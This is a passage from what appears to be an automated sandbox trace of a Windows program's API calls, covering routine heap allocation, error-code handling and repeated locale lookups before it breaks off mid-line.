[0217.406] GetLastError () returned 0x0 [0217.406] SetLastError (dwErrCode=0x0) [0217.406] GetLastError () returned 0x0 [0217.406] SetLastError (dwErrCode=0x0) [0217.406] GetLastError () returned 0x0 [0217.406] SetLastError (dwErrCode=0x0) [0217.406] GetLastError () returned 0x0 [0217.406] SetLastError (dwErrCode=0x0) [0217.406] GetLastError () returned 0x0 [0217.406] SetLastError (dwErrCode=0x0) [0217.406] GetLastError () returned 0x0 [0217.407] SetLastError (dwErrCode=0x0) [0217.407] GetLastError () returned 0x0 [0217.407] SetLastError (dwErrCode=0x0) [0217.407] GetLastError () returned 0x0 [0217.407] SetLastError (dwErrCode=0x0) [0217.407] GetLastError () returned 0x0 [0217.407] SetLastError (dwErrCode=0x0) [0217.407] GetLastError () returned 0x0 [0217.407] SetLastError (dwErrCode=0x0) [0217.407] GetLastError () returned 0x0 [0217.407] SetLastError (dwErrCode=0x0) [0217.407] GetLastError () returned 0x0 [0217.407] SetLastError (dwErrCode=0x0) [0217.407] GetLastError () returned 0x0 [0217.407] SetLastError (dwErrCode=0x0) [0217.407] GetLastError () returned 0x0 [0217.407] SetLastError (dwErrCode=0x0) [0217.407] GetLastError () returned 0x0 [0217.407] SetLastError (dwErrCode=0x0) [0217.407] GetLastError () returned 0x0 [0217.407] SetLastError (dwErrCode=0x0) [0217.407] GetLastError () returned 0x0 [0217.408] SetLastError (dwErrCode=0x0) [0217.408] GetLastError () returned 0x0 [0217.408] SetLastError (dwErrCode=0x0) [0217.408] GetLastError () returned 0x0 [0217.408] SetLastError (dwErrCode=0x0) [0217.408] GetLastError () returned 0x0 [0217.408] SetLastError (dwErrCode=0x0) [0217.408] GetLastError () returned 0x0 [0217.408] SetLastError (dwErrCode=0x0) [0217.408] GetLastError () returned 0x0 [0217.408] SetLastError (dwErrCode=0x0) [0217.408] GetLastError () returned 0x0 [0217.408] SetLastError (dwErrCode=0x0) [0217.408] GetLastError () returned 0x0 [0217.408] SetLastError (dwErrCode=0x0) [0217.408] GetLastError () returned 0x0 [0217.408] SetLastError (dwErrCode=0x0) [0217.408] GetLastError () returned 0x0 [0217.408] SetLastError (dwErrCode=0x0) [0217.408] GetLastError () returned 0x0 [0217.408] SetLastError (dwErrCode=0x0) [0217.409] GetLastError () returned 0x0 [0217.409] SetLastError (dwErrCode=0x0) [0217.409] GetLastError () returned 0x0 [0217.409] SetLastError (dwErrCode=0x0) [0217.409] GetLastError () returned 0x0 [0217.409] SetLastError (dwErrCode=0x0) [0217.409] GetLastError () returned 0x0 [0217.409] SetLastError (dwErrCode=0x0) [0217.409] GetLastError () returned 0x0 [0217.409] SetLastError (dwErrCode=0x0) [0217.409] GetLastError () returned 0x0 [0217.409] SetLastError (dwErrCode=0x0) [0217.409] GetLastError () returned 0x0 [0217.409] SetLastError (dwErrCode=0x0) [0217.409] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x9c) returned 0x2021a30 [0217.409] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x1f) returned 0x2021ad8 [0217.409] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x36) returned 0x2021b00 [0217.409] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x37) returned 0x2021b40 [0217.409] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x3c) returned 0x2021b80 [0217.409] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x31) returned 0x2021bc8 [0217.409] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x17) returned 0x2021c08 [0217.409] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x24) returned 0x2021c28 [0217.409] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x14) returned 0x2021c58 [0217.409] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0xd) returned 0x2021c78 [0217.409] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x25) returned 0x2021c90 [0217.409] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x39) returned 0x2021cc0 [0217.409] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x18) returned 0x2021d08 [0217.410] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x17) returned 0x2021d28 [0217.410] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0xe) returned 0x2021d48 [0217.410] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x69) returned 0x2021d60 [0217.410] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x3e) returned 0x2021dd8 [0217.410] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x1b) returned 0x2021e20 [0217.410] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x1d) returned 0x2021e48 [0217.410] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x48) returned 0x2021e70 [0217.410] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x12) returned 0x2021ec0 [0217.410] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x18) returned 0x2021ee0 [0217.410] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x1b) returned 0x2021f00 [0217.410] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x24) returned 0x2021f28 [0217.410] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x29) returned 0x2021f58 [0217.410] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x1e) returned 0x2021f90 [0217.410] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x41) returned 0x2021fb8 [0217.410] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x17) returned 0x2022008 [0217.410] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x14) returned 0x2022028 [0217.410] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0xf) returned 0x2022048 [0217.410] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x16) returned 0x2022060 [0217.410] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x2a) returned 0x2022080 [0217.410] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x29) returned 0x20220b8 [0217.410] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x15) returned 0x20220f0 [0217.410] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x1e) returned 0x2022110 [0217.410] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x2a) returned 0x2022138 [0217.410] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x12) returned 0x2022170 [0217.410] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x18) returned 0x2022190 [0217.410] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x46) returned 0x20221b0 [0217.410] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x20211f8 | out: hHeap=0x2020000) returned 1 [0217.411] GetModuleHandleA (lpModuleName="KERNEL32") returned 0x756f0000 [0217.411] GetProcAddress (hModule=0x756f0000, lpProcName="IsProcessorFeaturePresent") returned 0x75705235 [0217.411] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0217.412] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x80) returned 0x20211f8 [0217.412] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x800) returned 0x2022200 [0217.413] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x40c0d7) returned 0x0 [0217.414] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x20211f8) returned 0x80 [0217.414] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x20211f8) returned 0x80 [0217.414] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x20211f8) returned 0x80 [0217.415] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x20211f8) returned 0x80 [0217.415] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x20211f8) returned 0x80 [0217.415] GetLastError () returned 0x0 [0217.417] lstrlenW (lpString="") returned 0 [0217.438] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.440] GetOEMCP () returned 0x1b5 [0217.440] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.440] GetOEMCP () returned 0x1b5 [0217.440] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.440] GetOEMCP () returned 0x1b5 [0217.440] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.440] GetOEMCP () returned 0x1b5 [0217.440] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.440] GetOEMCP () returned 0x1b5 [0217.440] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.440] GetOEMCP () returned 0x1b5 [0217.441] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.441] GetOEMCP () returned 0x1b5 [0217.441] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.441] GetOEMCP () returned 0x1b5 [0217.441] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.441] GetOEMCP () returned 0x1b5 [0217.441] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.441] GetOEMCP () returned 0x1b5 [0217.441] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.441] GetOEMCP () returned 0x1b5 [0217.441] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.441] GetOEMCP () returned 0x1b5 [0217.441] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.441] GetOEMCP () returned 0x1b5 [0217.441] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.441] GetOEMCP () returned 0x1b5 [0217.441] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.441] GetOEMCP () returned 0x1b5 [0217.441] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.441] GetOEMCP () returned 0x1b5 [0217.441] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.441] GetOEMCP () returned 0x1b5 [0217.441] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.442] GetOEMCP () returned 0x1b5 [0217.442] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.442] GetOEMCP () returned 0x1b5 [0217.442] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.442] GetOEMCP () returned 0x1b5 [0217.442] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.442] GetOEMCP () returned 0x1b5 [0217.442] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.442] GetOEMCP () returned 0x1b5 [0217.442] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.442] GetOEMCP () returned 0x1b5 [0217.442] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.442] GetOEMCP () returned 0x1b5 [0217.442] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.442] GetOEMCP () returned 0x1b5 [0217.442] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.442] GetOEMCP () returned 0x1b5 [0217.442] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.442] GetOEMCP () returned 0x1b5 [0217.442] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.442] GetOEMCP () returned 0x1b5 [0217.442] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.443] GetOEMCP () returned 0x1b5 [0217.443] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.444] GetOEMCP () returned 0x1b5 [0217.444] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.444] GetOEMCP () returned 0x1b5 [0217.444] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.444] GetOEMCP () returned 0x1b5 [0217.444] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.444] GetOEMCP () returned 0x1b5 [0217.444] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.444] GetOEMCP () returned 0x1b5 [0217.444] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.444] GetOEMCP () returned 0x1b5 [0217.444] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.445] GetOEMCP () returned 0x1b5 [0217.445] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.445] GetOEMCP () returned 0x1b5 [0217.445] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.445] GetOEMCP () returned 0x1b5 [0217.445] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.445] GetOEMCP () returned 0x1b5 [0217.445] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.445] GetOEMCP () returned 0x1b5 [0217.445] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.445] GetOEMCP () returned 0x1b5 [0217.445] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.445] GetOEMCP () returned 0x1b5 [0217.445] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.445] GetOEMCP () returned 0x1b5 [0217.445] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.445] GetOEMCP () returned 0x1b5 [0217.445] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.445] GetOEMCP () returned 0x1b5 [0217.445] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.445] GetOEMCP () returned 0x1b5 [0217.446] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.446] GetOEMCP () returned 0x1b5 [0217.446] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.446] GetOEMCP () returned 0x1b5 [0217.446] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.446] GetOEMCP () returned 0x1b5 [0217.446] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.446] GetOEMCP () returned 0x1b5 [0217.446] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.446] GetOEMCP () returned 0x1b5 [0217.446] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.446] GetOEMCP () returned 0x1b5 [0217.446] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.446] GetOEMCP () returned 0x1b5 [0217.446] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.446] GetOEMCP () returned 0x1b5 [0217.448] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.448] GetOEMCP () returned 0x1b5 [0217.449] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.449] GetOEMCP () returned 0x1b5 [0217.449] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.449] GetOEMCP () returned 0x1b5 [0217.449] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.449] GetOEMCP () returned 0x1b5 [0217.449] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.449] GetOEMCP () returned 0x1b5 [0217.452] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.452] GetOEMCP () returned 0x1b5 [0217.452] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.452] GetOEMCP () returned 0x1b5 [0217.452] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.452] GetOEMCP () returned 0x1b5 [0217.452] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.452] GetOEMCP () returned 0x1b5 [0217.452] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.452] GetOEMCP () returned 0x1b5 [0217.452] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.452] GetOEMCP () returned 0x1b5 [0217.452] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.452] GetOEMCP () returned 0x1b5 [0217.452] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.452] GetOEMCP () returned 0x1b5 [0217.452] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.452] GetOEMCP () returned 0x1b5 [0217.453] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.453] GetOEMCP () returned 0x1b5 [0217.453] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.453] GetOEMCP () returned 0x1b5 [0217.453] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.453] GetOEMCP () returned 0x1b5 [0217.453] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.453] GetOEMCP () returned 0x1b5 [0217.453] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.453] GetOEMCP () returned 0x1b5 [0217.453] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.453] GetOEMCP () returned 0x1b5 [0217.453] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.453] GetOEMCP () returned 0x1b5 [0217.453] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.453] GetOEMCP () returned 0x1b5 [0217.453] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.453] GetOEMCP () returned 0x1b5 [0217.453] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.453] GetOEMCP () returned 0x1b5 [0217.458] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.458] GetOEMCP () returned 0x1b5 [0217.458] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.458] GetOEMCP () returned 0x1b5 [0217.458] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.458] GetOEMCP () returned 0x1b5 [0217.458] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.458] GetOEMCP () returned 0x1b5 [0217.458] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.458] GetOEMCP () returned 0x1b5 [0217.458] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.458] GetOEMCP () returned 0x1b5 [0217.458] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.458] GetOEMCP () returned 0x1b5 [0217.458] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.458] GetOEMCP () returned 0x1b5 [0217.458] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.458] GetOEMCP () returned 0x1b5 [0217.458] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.458] GetOEMCP () returned 0x1b5 [0217.458] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.458] GetOEMCP () returned 0x1b5 [0217.458] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.458] GetOEMCP () returned 0x1b5 [0217.458] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.458] GetOEMCP () returned 0x1b5 [0217.458] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.458] GetOEMCP () returned 0x1b5 [0217.458] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.458] GetOEMCP () returned 0x1b5 [0217.458] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.459] GetOEMCP () returned 0x1b5 [0217.459] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.459] GetOEMCP () returned 0x1b5 [0217.459] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.459] GetOEMCP () returned 0x1b5 [0217.459] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.459] GetOEMCP () returned 0x1b5 [0217.459] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.459] GetOEMCP () returned 0x1b5 [0217.459] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.459] GetOEMCP () returned 0x1b5 [0217.459] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.459] GetOEMCP () returned 0x1b5 [0217.459] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.459] GetOEMCP () returned 0x1b5 [0217.459] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.459] GetOEMCP () returned 0x1b5 [0217.459] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.459] GetOEMCP () returned 0x1b5 [0217.459] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.459] GetOEMCP () returned 0x1b5 [0217.459] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.459] GetOEMCP () returned 0x1b5 [0217.459] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.459] GetOEMCP () returned 0x1b5 [0217.459] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.459] GetOEMCP () returned 0x1b5 [0217.459] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.459] GetOEMCP () returned 0x1b5 [0217.459] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.459] GetOEMCP () returned 0x1b5 [0217.459] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.459] GetOEMCP () returned 0x1b5 [0217.459] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.459] GetOEMCP () returned 0x1b5 [0217.459] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.459] GetOEMCP () returned 0x1b5 [0217.459] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.460] GetOEMCP () returned 0x1b5 [0217.460] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.460] GetOEMCP () returned 0x1b5 [0217.460] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.460] GetOEMCP () returned 0x1b5 [0217.460] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0217.460] GetOEMCP () returned 0x1b5 [0217.460] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 